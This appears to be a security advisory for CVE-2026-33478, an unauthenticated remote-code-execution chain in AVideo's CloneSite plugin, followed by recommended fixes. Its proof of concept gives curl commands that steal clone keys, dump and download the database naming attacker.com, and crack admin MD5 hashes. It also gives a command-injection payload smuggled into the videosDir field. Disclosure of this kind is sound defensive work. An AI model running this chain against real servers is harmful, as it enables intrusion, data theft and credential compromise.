CVE-2026-33478

描述

## Summary Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The `clones.json.php` endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via `cloneServer.json.php`. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in `cloneClient.json.php` to execute arbitrary system commands. ## Details ### Step 1: Clone Key Disclosure `plugin/CloneSite/clones.json.php:1-8` has zero authentication: ```php <?php require_once '../../videos/configuration.php'; require_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo json_encode($rows); ?>} ``` The response includes the `key` field for every registered clone, which is the sole authentication credential for clone operations. ### Step 2: Database Dump via Stolen Key `plugin/CloneSite/cloneServer.json.php:73-97` — once the key passes `Clones::thisURLCanCloneMe()`, the server executes `mysqldump` and writes the result to a web-accessible directory: ```php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $return_val); ``` The SQL file path is returned in the JSON response and is downloadable. ### Step 3: Admin Credential Extraction `objects/user.php:1798` — passwords are stored as unsalted MD5: ```php $passEncoded = md5($pass); ``` The `users` table in the dump contains `user`, `password` (MD5), and `isAdmin` fields. MD5 hashes crack in seconds. ### Step 4: Command Injection via Rsync `plugin/CloneSite/cloneClient.json.php:259` — the `videosDir` from the clone server response is interpolated unsanitized into the rsync command: ```php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $return_val); ``` An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the `videosDir` field. ## PoC ```bash # Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' # Output: "a1b2c3d4e5f6..." # Step 2: Trigger database dump CLONE_KEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile' # Output: "Clone_mysqlDump_1234567890.sql" # Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/Clone_mysqlDump_1234567890.sql" \ | grep -A2 "INSERT INTO.*users" \ | grep -oP "admin','[a-f0-9]{32}" # Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password") # Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt # Output: password # Step 5: Login as admin, configure CloneSite with malicious server # The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) # When rsync executes, the $(id) is evaluated by the shell ``` ## Impact - **Complete server compromise**: Unauthenticated attacker achieves arbitrary command execution as the web server user - **Full database disclosure**: The entire database (users, videos, configurations, secrets) is exfiltrated - **No user interaction**: Every step is automated, no clicks or social engineering required - **Credential theft**: All user passwords (MD5) are trivially recoverable - **Lateral movement**: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems ## Recommended Fix 1. **Add authentication to `clones.json.php`:** ```php // plugin/CloneSite/clones.json.php require_once '../../videos/configuration.php'; if (!User::isAdmin()) { http_response_code(403); die(json_encode(['error' => true, 'msg' => 'Admin required'])); } ``` 2. **Don't store SQL dumps in web-accessible directories** — use a path outside the web root or require re-authentication to download. 3. **Upgrade password hashing** — replace MD5 with `password_hash()` (bcrypt/argon2): ```php // Replace: $passEncoded = md5($pass); $passEncoded = password_hash($pass, PASSWORD_DEFAULT); ``` 4. **Sanitize rsync command parameters** — use `escapeshellarg()` on all interpolated values: ```php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) ); ```

受影響套件(1)

• Packagist/wwbn/avideofrom 0, <= 26.0

CVSS 分數

參考連結(4)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-33478
• PATCHhttps://github.com/WWBN/AVideo
• WEBhttps://github.com/WWBN/AVideo/commit/c85d076375fab095a14170df7ddb27058134d38c
• WEBhttps://github.com/WWBN/AVideo/security/advisories/GHSA-687q-32c6-8x68